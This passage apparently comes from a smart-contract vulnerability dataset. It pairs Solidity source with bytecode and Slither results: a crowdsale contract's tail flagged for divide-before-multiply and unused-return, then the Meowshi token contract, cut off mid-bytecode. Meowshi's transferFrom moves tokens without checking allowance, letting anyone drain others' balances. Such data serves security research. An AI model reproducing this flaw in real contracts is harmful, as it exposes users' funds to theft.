uint256 newTokens = value.mul(newRate);
uint256 tokensToAirdrop = newTokens.sub(oldTokens);
if (claimedAirdropTokens[to] == 0) {
claimedAirdropTokens[to] = tokensToAirdrop;
token.mint(to, tokensToAirdrop);
}
}
}
// overriding Crowdsale#hasEnded to add tokenCap logic
// @return true if crowdsale event has ended or cap is reached
function hasEnded() public constant returns (bool) {
bool capReached = soldTokens >= tokenCap;
return super.hasEnded() || capReached;
}
// @return true if crowdsale event has started
function hasStarted() public constant returns (bool) {
return now >= startTime && now < endTime;
}
} | 0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680632c4e722e146101075780633197cbb61461013057806339c670f0146101595780634042b66f146101a657806344691f7e146101cf578063521eb273146101fc5780635ed9ebfc14610251578063672434821461027a57806378e979251461031457806383bad1af1461033d5780638da5cb5b1461038a578063a387cf34146103df578063dd54291b146103f4578063ec8ac4d81461041d578063ecb70fb71461044b578063ef2bbbdf14610478578063f2fde38b1461049b578063fc0c546a146104d4575b61010533610529565b005b341561011257600080fd5b61011a610741565b6040518082815260200191505060405180910390f35b341561013b57600080fd5b610143610747565b6040518082815260200191505060405180910390f35b341561016457600080fd5b610190600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061074d565b6040518082815260200191505060405180910390f35b34156101b157600080fd5b6101b9610765565b6040518082815260200191505060405180910390f35b34156101da57600080fd5b6101e261076b565b604051808215151515815260200191505060405180910390f35b341561020757600080fd5b61020f610785565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561025c57600080fd5b6102646107ab565b6040518082815260200191505060405180910390f35b341561028557600080fd5b610312600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506107b1565b005b341561031f57600080fd5b610327610a66565b6040518082815260200191505060405180910390f35b341561034857600080fd5b610374600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a6c565b6040518082815260200191505060405180910390f35b341561039557600080fd5b61039d610a84565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103ea57600080fd5b6103f2610aa9565b005b34156103ff57600080fd5b610407610c0a565b6040518082815260200191505060405180910390f35b610449600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610529565b005b341561045657600080fd5b61045e610c10565b604051808215151515815260200191505060405180910390f35b341561048357600080fd5b6104996004808035906020019091905050610c33565b005b34156104a657600080fd5b6104d2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cb6565b005b34156104df57600080fd5b6104e7610e0b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b60008060008060008573ffffffffffffffffffffffffffffffffffffffff161415151561055557600080fd5b61055d610e31565b151561056857600080fd5b3493506103e88481151561057857fe5b04925061059060055484610e6490919063ffffffff16565b91506105a782600a54610e9790919063ffffffff16565b905060095481111515156105ba57600080fd5b6105cf84600654610e9790919063ffffffff16565b60068190555080600a81905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1986846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156106a957600080fd5b6102c65a03f115156106ba57600080fd5b50505060405180519050508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188685604051808381526020018281526020019250505060405180910390a361073a610eb5565b5050505050565b60055481565b60035481565b60086020528060005260406000206000915090505481565b60065481565b60006002544210158015610780575060035442105b905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b60008060008060008060008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561081a57600080fd5b60008b5111151561082a57600080fd5b60008a5111151561083a57600080fd5b89518b5114151561084a57600080fd5b60019850600297508a519650600095505b86861015610a59578a8681518110151561087157fe5b906020019060200201519450898681518110151561088b57fe5b9060200190602002015193506108aa8985610e6490919063ffffffff16565b92506108bf8885610e6490919063ffffffff16565b91506108d48383610f1990919063ffffffff16565b90506000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610a4c5780600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1986836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610a2f57600080fd5b6102c65a03f11515610a4057600080fd5b50505060405180519050505b858060010196505061085b565b5050505050505050505050565b60025481565b60076020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b0457600080fd5b610b0c610c10565b1515610b1757600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2fde38b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b1515610bf457600080fd5b6102c65a03f11515610c0557600080fd5b505050565b60095481565b600080600954600a5410159050610c25610f32565b80610c2d5750805b91505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c8e57600080fd5b4281111515610c9c57600080fd5b60025481111515610cac57600080fd5b8060038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610d4d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060006002544210158015610e4a57506003544211155b915060003414159050818015610e5d5750805b9250505090565b60008082840290506000841480610e855750828482811515610e8257fe5b04145b1515610e8d57fe5b8091505092915050565b6000808284019050838110151515610eab57fe5b8091505092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610f1757600080fd5b565b6000828211151515610f2757fe5b818303905092915050565b60006003544211905090565b6000809050905600a165627a7a72305820a973f6ed64f3ae6b81401491769fe0b23498904f3bbaf07c0ba448fc4b6f39be0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,964 |
0xec0085297c46f2ed2d45f0bc73477eef956b0a0c | // SPDX-License-Identifier: UNLICENSED
// @title Meowshi (MEOW) 🐈 🍣 🍱
// @author Gatoshi Nyakamoto
pragma solidity 0.8.4;
/// @notice Interface for depositing into & withdrawing from BentoBox vault.
interface IERC20{} interface IBentoBoxBasic {
function deposit(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256 amountOut, uint256 shareOut);
function withdraw(
IERC20 token_,
address from,
address to,
uint256 amount,
uint256 share
) external returns (uint256 amountOut, uint256 shareOut);
}
/// @notice Interface for depositing into & withdrawing from SushiBar.
interface ISushiBar {
function balanceOf(address account) external view returns (uint256);
function enter(uint256 amount) external;
function leave(uint256 share) external;
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
/// @notice Meowshi takes SUSHI/xSUSHI to mint governing MEOW tokens that can be burned to claim SUSHI/xSUSHI from BENTO with yields.
// ៱˳_˳៱ ∫
contract Meowshi {
IBentoBoxBasic constant bento = IBentoBoxBasic(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract (multinet)
ISushiBar constant sushiToken = ISushiBar(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract (mainnet)
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI token contract for staking SUSHI (mainnet)
string constant public name = "Meowshi";
string constant public symbol = "MEOW";
uint8 constant public decimals = 18;
uint256 constant multiplier = 100_000; // 1 xSUSHI BENTO share = 100,000 MEOW
uint256 public totalSupply;
/// @notice owner -> spender -> allowance mapping.
mapping(address => mapping(address => uint256)) public allowance;
/// @notice owner -> balance mapping.
mapping(address => uint256) public balanceOf;
/// @notice owner -> nonce mapping used in {permit}.
mapping(address => uint256) public nonces;
/// @notice A record of each account's delegate.
mapping(address => address) public delegates;
/// @notice A record of votes checkpoints for each account, by index.
mapping(address => mapping(uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account.
mapping(address => uint32) public numCheckpoints;
/// @notice The ERC-712 typehash for this contract's domain.
bytes32 constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The ERC-712 typehash for the delegation struct used by the contract.
bytes32 constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice The ERC-712 typehash for the permit struct used by the contract.
bytes32 constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
/// @notice Events that are emitted when an ERC-20 approval or transfer occurs.
event Approval(address indexed owner, address indexed spender, uint256 amount);
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice An event that's emitted when an account changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event that's emitted when a delegate account's vote balance changes.
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/// @notice A checkpoint for marking number of votes from a given block.
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
constructor() {
sushiToken.approve(sushiBar, type(uint256).max); // max {approve} xSUSHI to draw SUSHI from this contract
ISushiBar(sushiBar).approve(address(bento), type(uint256).max); // max {approve} BENTO to draw xSUSHI from this contract
}
/*************
MEOW FUNCTIONS
*************/
// **** xSUSHI
/// @notice Enter Meowshi. Deposit xSUSHI `amount`. Mint MEOW for `to`.
function meow(address to, uint256 amount) external returns (uint256 shares) {
ISushiBar(sushiBar).transferFrom(msg.sender, address(bento), amount); // forward to BENTO for skim
(, shares) = bento.deposit(IERC20(sushiBar), address(bento), address(this), amount, 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim xSUSHI for `to`.
function unmeow(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), to, 0, amount / multiplier);}
}
// **** SUSHI
/// @notice Enter Meowshi. Deposit SUSHI `amount`. Mint MEOW for `to`.
function meowSushi(address to, uint256 amount) external returns (uint256 shares) {
sushiToken.transferFrom(msg.sender, address(this), amount);
ISushiBar(sushiBar).enter(amount);
(, shares) = bento.deposit(IERC20(sushiBar), address(this), address(this), ISushiBar(sushiBar).balanceOf(address(this)), 0);
meowMint(to, shares * multiplier);
}
/// @notice Leave Meowshi. Burn MEOW `amount`. Claim SUSHI for `to`.
function unmeowSushi(address to, uint256 amount) external returns (uint256 amountOut) {
meowBurn(amount);
unchecked {(amountOut, ) = bento.withdraw(IERC20(sushiBar), address(this), address(this), 0, amount / multiplier);}
ISushiBar(sushiBar).leave(amountOut);
sushiToken.transfer(to, sushiToken.balanceOf(address(this)));
}
// **** SUPPLY MGMT
/// @notice Internal mint function for *meow*.
function meowMint(address to, uint256 amount) private {
balanceOf[to] += amount;
totalSupply += amount;
_moveDelegates(address(0), delegates[to], amount);
emit Transfer(address(0), to, amount);
}
/// @notice Internal burn function for *unmeow*.
function meowBurn(uint256 amount) private {
balanceOf[msg.sender] -= amount;
unchecked {totalSupply -= amount;}
_moveDelegates(delegates[msg.sender], address(0), amount);
emit Transfer(msg.sender, address(0), amount);
}
/**************
TOKEN FUNCTIONS
**************/
/// @notice Approves `amount` from msg.sender to be spent by `spender`.
/// @param spender Address of the party that can draw tokens from msg.sender's account.
/// @param amount The maximum collective `amount` that `spender` can draw.
/// @return (bool) Returns 'true' if succeeded.
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/// @notice Triggers an approval from owner to spends.
/// @param owner The address to approve from.
/// @param spender The address to be approved.
/// @param amount The number of tokens that are approved (2^256-1 means infinite).
/// @param deadline The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function permit(address owner, address spender, uint256 amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
unchecked {bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::permit: invalid signature');
require(signatory == owner, 'Meowshi::permit: unauthorized');}
require(block.timestamp <= deadline, 'Meowshi::permit: signature expired');
allowance[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/// @notice Transfers `amount` tokens from `msg.sender` to `to`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[msg.sender], delegates[to], amount);
emit Transfer(msg.sender, to, amount);
return true;
}
/// @notice Transfers `amount` tokens from `from` to `to`. Caller needs approval from `from`.
/// @param from Address to draw tokens `from`.
/// @param to The address to move tokens `to`.
/// @param amount The token `amount` to move.
/// @return (bool) Returns 'true' if succeeded.
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
balanceOf[from] -= amount;
unchecked {balanceOf[to] += amount;}
_moveDelegates(delegates[from], delegates[to], amount);
emit Transfer(from, to, amount);
return true;
}
/*******************
DELEGATION FUNCTIONS
*******************/
/// @notice Delegate votes from `msg.sender` to `delegatee`.
/// @param delegatee The address to delegate votes to.
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/// @notice Delegates votes from signatory to `delegatee`.
/// @param delegatee The address to delegate votes to.
/// @param nonce The contract state required to match the signature.
/// @param expiry The time at which to expire the signature.
/// @param v The recovery byte of the signature.
/// @param r Half of the ECDSA signature pair.
/// @param s Half of the ECDSA signature pair.
function delegateBySig(address delegatee, uint256 nonce, uint256 expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), 'Meowshi::delegateBySig: invalid signature');
unchecked {require(nonce == nonces[signatory]++, 'Meowshi::delegateBySig: invalid nonce');}
require(block.timestamp <= expiry, 'Meowshi::delegateBySig: signature expired');
return _delegate(signatory, delegatee);
}
/***************
GETTER FUNCTIONS
***************/
/// @notice Get current chain.
function getChainId() private view returns (uint256) {
uint256 chainId;
assembly {chainId := chainid()}
return chainId;
}
/// @notice Gets the current votes balance for `account`.
/// @param account The address to get votes balance.
/// @return The number of current votes for `account`.
function getCurrentVotes(address account) external view returns (uint256) {
unchecked {uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;}
}
/// @notice Determine the prior number of votes for an `account` as of a block number.
/// @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
/// @param account The address of the `account` to check.
/// @param blockNumber The block number to get the vote balance at.
/// @return The number of votes the `account` had as of the given block.
function getPriorVotes(address account, uint256 blockNumber) external view returns (uint256) {
require(blockNumber < block.number, 'Meowshi::getPriorVotes: not yet determined');
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {return 0;}
unchecked {
// @dev First check most recent balance.
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {return checkpoints[account][nCheckpoints - 1].votes;}
// @dev Next check implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {return 0;}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {upper = center - 1;}}
return checkpoints[account][lower].votes;}
}
/***************
HELPER FUNCTIONS
***************/
function _delegate(address delegator, address delegatee) private {
address currentDelegate = delegates[delegator];
uint256 delegatorBalance = balanceOf[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) private {
unchecked {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld - amount;
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld + amount;
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes) private {
uint32 blockNumber = safe32(block.number);
unchecked {
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
/// @notice Enables calling multiple methods in a single call to this contract.
function multicall(bytes[] calldata data) external returns (bytes[] memory results) {
results = new bytes[](data.length);
unchecked {
for (uint256 i = 0; i < data.length; i++) {
(bool success, bytes memory result) = address(this).delegatecall(data[i]);
if (!success) {
if (result.length < 68) revert();
assembly {result := add(result, 0x04)}
revert(abi.decode(result, (string)));
}
results[i] = result;
}}
}
function safe32(uint256 n) private pure returns (uint32) {
require(n < 2**32, 'Meowshi::_writeCheckpoint: block number exceeds 32 bits'); return uint32(n);}
} | 0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063b4b5ea571161007c578063b4b5ea5714610368578063c3cda5201461037b578063d505accf1461038e578063dd62ed3e146103a1578063e6ff41eb146103cc578063f1127ed8146103df57600080fd5b806370a08231146102bf578063782d6fe1146102df5780637ecebe00146102f257806395d89b4114610312578063a9059cbb14610335578063ac9650d81461034857600080fd5b8063313ce56711610115578063313ce567146101ee5780633c0adb6814610208578063587cde1e1461021b5780635c19a95c1461025c578063642ed500146102715780636fcfff451461028457600080fd5b806306fdde0314610152578063095ea7b31461018e57806318160ddd146101b15780631b04a34f146101c857806323b872dd146101db575b600080fd5b610178604051806040016040528060078152602001664d656f7773686960c81b81525081565b6040516101859190611ee6565b60405180910390f35b6101a161019c366004611be3565b610436565b6040519015158152602001610185565b6101ba60005481565b604051908152602001610185565b6101ba6101d6366004611be3565b6104a3565b6101a16101e9366004611b3f565b610560565b6101f6601281565b60405160ff9091168152602001610185565b6101ba610216366004611be3565b610619565b610244610229366004611af3565b6004602052600090815260409020546001600160a01b031681565b6040516001600160a01b039091168152602001610185565b61026f61026a366004611af3565b610844565b005b6101ba61027f366004611be3565b610851565b6102aa610292366004611af3565b60066020526000908152604090205463ffffffff1681565b60405163ffffffff9091168152602001610185565b6101ba6102cd366004611af3565b60026020526000908152604090205481565b6101ba6102ed366004611be3565b610a80565b6101ba610300366004611af3565b60036020526000908152604090205481565b610178604051806040016040528060048152602001634d454f5760e01b81525081565b6101a1610343366004611be3565b610cac565b61035b610356366004611ca1565b610d40565b6040516101859190611e51565b6101ba610376366004611af3565b610eb0565b61026f610389366004611c0c565b610f14565b61026f61039c366004611b7a565b611201565b6101ba6103af366004611b0d565b600160209081526000928352604080842090915290825290205481565b6101ba6103da366004611be3565b61153b565b61041a6103ed366004611c63565b60056020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6040805163ffffffff9093168352602083019190915201610185565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104919086815260200190565b60405180910390a35060015b92915050565b60006104ae82611637565b60405163097da6d360e41b815273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309061050790738798249c2e607446efb7ad49ec89dd1865ff42729030908890600090620186a08a0490600401611eb2565b6040805180830381600087803b15801561052057600080fd5b505af1158015610534573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105589190611df2565b509392505050565b6001600160a01b03831660009081526002602052604081208054839190839061058a908490611f7c565b90915550506001600160a01b03808416600081815260026020908152604080832080548801905588851683526004909152808220549282529020546105d4929182169116846116b0565b826001600160a01b0316846001600160a01b0316600080516020611fec8339815191528460405161060791815260200190565b60405180910390a35060019392505050565b6040516323b872dd60e01b815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b15801561067557600080fd5b505af1158015610689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ad9190611d11565b50604051632967cf8360e21b815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b1580156106fb57600080fd5b505af115801561070f573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820181905273f5bce5077908a1b7370b9ae04adc565ebd64396693506302b9446c9250738798249c2e607446efb7ad49ec89dd1865ff427291819083906370a082319060240160206040518083038186803b15801561077f57600080fd5b505afa158015610793573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b79190611dda565b60006040518663ffffffff1660e01b81526004016107d9959493929190611eb2565b6040805180830381600087803b1580156107f257600080fd5b505af1158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a9190611df2565b915061049d90508361083f620186a084611f5d565b6117dc565b61084e3382611879565b50565b600061085c82611637565b60405163097da6d360e41b815273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d30906108b590738798249c2e607446efb7ad49ec89dd1865ff42729030908190600090620186a08a0490600401611eb2565b6040805180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109069190611df2565b506040516367dfd4c960e01b815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b15801561095757600080fd5b505af115801561096b573d6000803e3d6000fd5b50506040516370a0823160e01b8152306004820152736b3595068778dd592e39a122f4f5a5cf09c90fe2925063a9059cbb9150859083906370a082319060240160206040518083038186803b1580156109c357600080fd5b505afa1580156109d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fb9190611dda565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015610a4157600080fd5b505af1158015610a55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a799190611d11565b5092915050565b6000438210610ae95760405162461bcd60e51b815260206004820152602a60248201527f4d656f777368693a3a6765745072696f72566f7465733a206e6f74207965742060448201526919195d195c9b5a5b995960b21b60648201526084015b60405180910390fd5b6001600160a01b03831660009081526006602052604090205463ffffffff1680610b1757600091505061049d565b6001600160a01b038416600090815260056020908152604080832063ffffffff600019860181168552925290912054168310610b86576001600160a01b03841660009081526005602090815260408083206000199490940163ffffffff1683529290522060010154905061049d565b6001600160a01b038416600090815260056020908152604080832083805290915290205463ffffffff16831015610bc157600091505061049d565b600060001982015b8163ffffffff168163ffffffff161115610c75576000600263ffffffff848403166001600160a01b038916600090815260056020908152604080832094909304860363ffffffff8181168452948252918390208351808501909452805490941680845260019094015490830152925090871415610c505760200151945061049d9350505050565b805163ffffffff16871115610c6757819350610c6e565b6001820392505b5050610bc9565b506001600160a01b038516600090815260056020908152604080832063ffffffff9094168352929052206001015491505092915050565b33600090815260026020526040812080548391908390610ccd908490611f7c565b90915550506001600160a01b038084166000818152600260209081526040808320805488019055338352600490915280822054928252902054610d15929182169116846116b0565b6040518281526001600160a01b038416903390600080516020611fec83398151915290602001610491565b60608167ffffffffffffffff811115610d6957634e487b7160e01b600052604160045260246000fd5b604051908082528060200260200182016040528015610d9c57816020015b6060815260200190600190039081610d875790505b50905060005b82811015610a795760008030868685818110610dce57634e487b7160e01b600052603260045260246000fd5b9050602002810190610de09190611ef9565b604051610dee929190611e41565b600060405180830381855af49150503d8060008114610e29576040519150601f19603f3d011682016040523d82523d6000602084013e610e2e565b606091505b509150915081610e7a57604481511015610e4757600080fd5b60048101905080806020019051810190610e619190611d31565b60405162461bcd60e51b8152600401610ae09190611ee6565b80848481518110610e9b57634e487b7160e01b600052603260045260246000fd5b60209081029190910101525050600101610da2565b6001600160a01b03811660009081526006602052604081205463ffffffff1680610edb576000610f0d565b6001600160a01b038316600090815260056020908152604080832063ffffffff60001986011684529091529020600101545b9392505050565b60408051808201825260078152664d656f7773686960c81b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c08301526001600160a01b038a1660e083015261010082018990526101208083018990528451808403909101815261014083019094528351939092019290922061190160f01b6101608401526101628301829052610182830181905290916000906101a20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611096573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661110b5760405162461bcd60e51b815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c6964206044820152687369676e617475726560b81b6064820152608401610ae0565b6001600160a01b038116600090815260036020526040902080546001810190915589146111885760405162461bcd60e51b815260206004820152602560248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c6964206044820152646e6f6e636560d81b6064820152608401610ae0565b874211156111ea5760405162461bcd60e51b815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a207369676e617475726044820152681948195e1c1a5c995960ba1b6064820152608401610ae0565b6111f4818b611879565b505050505b505050505050565b60408051808201825260078152664d656f7773686960c81b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301206001600160a01b038b81166000818152600386528681208054600181019091557f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960c087015260e0860192909252918c1661010085015261012084018b90526101408401526101608084018a90528551808503909101815261018084019095528451949093019390932061190160f01b6101a08301526101a282018490526101c2820181905291906101e20160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa1580156113a8573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381166114165760405162461bcd60e51b815260206004820152602260248201527f4d656f777368693a3a7065726d69743a20696e76616c6964207369676e617475604482015261726560f01b6064820152608401610ae0565b8a6001600160a01b0316816001600160a01b0316146114775760405162461bcd60e51b815260206004820152601d60248201527f4d656f777368693a3a7065726d69743a20756e617574686f72697a65640000006044820152606401610ae0565b505050844211156114d55760405162461bcd60e51b815260206004820152602260248201527f4d656f777368693a3a7065726d69743a207369676e6174757265206578706972604482015261195960f21b6064820152608401610ae0565b6001600160a01b038881166000818152600160209081526040808320948c16808452948252918290208a905590518981527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314